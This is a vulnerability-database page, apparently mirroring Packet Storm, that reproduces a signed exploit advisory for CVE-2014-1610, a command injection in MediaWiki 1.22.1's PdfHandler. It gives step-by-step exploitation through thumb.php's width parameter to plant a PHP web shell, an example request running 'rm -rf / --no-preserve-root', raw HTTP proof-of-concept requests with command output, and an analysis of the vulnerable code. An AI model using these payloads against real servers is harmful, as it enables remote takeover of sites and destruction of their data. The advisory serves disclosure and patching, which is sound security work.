Lucene search
K

MediaWiki 1.22.1 PdfHandler Remote Code Execution

🗓️ 03 Feb 2014 00:00:00Reported by XelenonzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

MediaWiki 1.22.1 PdfHandler Remote Code Execution Exploit reported by Netanel Rubin for Wikimedia CMS site. Exploit involves uploading Longcat.pdf, injecting OS command, and accessing the PHP backdoor

Related
Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
####################################################################  
#  
# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit  
(CVE-2014-1610)  
# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group  
(Jan 19, 2014)  
# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)  
# Affected website : Wikipedia.org and more !  
#  
# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)  
# Release dates : Feb 1, 2014  
# Special Thanks to 2600 Thailand !  
#  
####################################################################  
  
# Exploit:  
####################################################################  
1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)  
http://vulnerable-site/index.php/Special:Upload  
2. inject os cmd to upload a php-backdoor  
http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20  
"<?php%20system(\\$_GET[1]);">images/xnz.php`  
3. access to php-backdoor!  
http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root  
4. happy pwning!!  
  
  
# Related files:  
####################################################################  
thumb.php <-- extract all _GET array to params  
/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width  
options  
/includes/media/ImageHandler.php  
/includes/GlobalFunctions.php  
/includes/filerepo/file/File.php  
  
# Vulnerability Analysis:  
####################################################################  
1. thumb.php  
This script used to resize images if it is configured to be done  
when the web browser requests the image  
<? ...  
1.1 Called directly, use $_GET params  
wfThumbHandleRequest();  
1.2 Handle a thumbnail request via query parameters  
function wfThumbHandleRequest() {  
$params = get_magic_quotes_gpc()  
? array_map( 'stripslashes', $_GET )  
: $_GET; << WTF  
  
wfStreamThumb( $params ); // stream the thumbnail  
}  
1.3 Stream a thumbnail specified by parameters  
function wfStreamThumb( array $params ) {  
...  
$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts  
uploaded.pdf file here  
...  
// Backwards compatibility parameters  
if ( isset( $params['w'] ) ) {  
$params['width'] = $params['w']; // << Inject os cmd here!  
unset( $params['w'] );  
}  
...  
$img = wfLocalFile( $fileName );  
...  
// Thumbnail isn't already there, so create the new thumbnail...  
$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image  
by width/height  
...  
// Stream the file if there were no errors  
$thumb->streamFile( $headers );  
...  
?>  
2. /includes/filerepo/file/File.php  
<? ...  
function transform( $params, $flags = 0 ) { ...  
$handler = $this->getHandler(); // << PDF Handler  
...  
$normalisedParams = $params;  
$handler->normaliseParams( $this, $normalisedParams );  
...  
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );  
..  
?>  
3. /extensions/PdfHandler/PdfHandler_body.php  
<? ...  
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {  
...  
$width = $params['width'];  
...  
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &  
parameters  
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}  
-dLastPage={$page}";  
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(  
$srcPath );  
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );  
$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell  
argument  
$cmd .= wfEscapeShellArg( $dstPath ) . ")";  
$cmd .= " 2>&1";  
...  
$err = wfShellExec( $cmd, $retval );  
...  
?>  
4. /includes/GlobalFunctions.php  
Execute a shell command, with time and memory limits  
<? ...  
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =  
array() ) {  
...  
passthru( $cmd, $retval ); // << Execute here!!  
  
# Proof-Of-Concept  
####################################################################  
GET  
/mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C?php%20system(\\$_GET[1]);%22%3Eimages/longcat.php`  
HTTP/1.1  
Host: 127.0.0.1  
Connection: keep-alive  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: en-US,en;q=0.8  
Cookie: my_wikiUserID=2; my_wikiUserName=Longcat;  
my_wiki_session=op3h2huvddnmg7gji0pscfsg02  
  
<html><head><title>Error generating thumbnail</title></head>  
<body>  
<h1>Error generating thumbnail</h1>  
<p>  
เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found<br />  
convert: option requires an argument `-resize' @  
error/convert.c/ConvertImageCommand/2380.<br />  
GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br />  
  
</p>  
  
</body>  
</html>  
  
  
GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1  
Host: 127.0.0.1  
Connection: keep-alive  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Encoding: gzip,deflate,sdch  
Accept-Language: en-US,en;q=0.8  
Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2;  
my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1  
  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
  
# Back-end $cmd  
####################################################################  
GlobalFunctions.php : wfShellExec()  
cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150  
-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' |  
'/usr/bin/convert' -depth 8 -resize 10|`echo "<?php  
system(\\$_GET[1]);">images/longcat.php` -  
'/tmp/transform_0e377aad0e27-1.jpg') 2>&1  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.14 (GNU/Linux)  
  
iQIcBAEBAgAGBQJS7SLLAAoJEB2kHapd1XMU8BcP/A+hMUw/EDwChN+2XjtExVGU  
BzPrpXXBbp6WGWkeztmrT78Y1b1lXX/cQA4V9IGrdHUEdgG0p3y476d7eZ5sPxVf  
ny9Xg7o4WtMgmSvSOOc+lCsy9aAKab801cs1HLbwZokwK8ItwQQoGfik0BgNQ4l1  
mijELis1z1f3k6yJ9/OJicnIJDmHIzPL9wQyr2A5c+jjz74SR//SlQPrqDbvEpj2  
uCCpTpjf6LGYCzyGmqROlf+OxFTeXdB9oghButrEtQ9w6qGQg1/UZjmbx/xLkCqb  
GO1R4qs0PuV4uepwcbLzDDWW5kPejPjcwpuyjrpQO45OcIUtkvzR4iypCxxkvktv  
n2l09Dtn9HqbK3QXhTb2u3uhM9RyJd7kFKhfmZ85OnvMmYvaXSeDWs7Wd9GEO5wh  
FXbhL9O2u/bqiabQKnsJ6bx8hcm2a9mO+/yJZUyBXybHrjseRD4LQFWUYR/WPAQt  
vuICIQyO5pcjkIib+0DN4e7xcFMYuo3o6WkSZuZT+l0LwYDVmhUbaGAEP13+dWZZ  
M0HGoI7AITsqukYFH1n7NYjJazF3Bckc0iJbCrI39TYkvr3V9bRWSEfVBM6FcBan  
kumwDlzYP/301fsKGLtfsnUmK2qkj1EF3DVoJbZ5VFdgiUSlCMsbp9qdGfUPbelR  
2LmeyQR2rzjBB7Sovvcn  
=ooEs  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation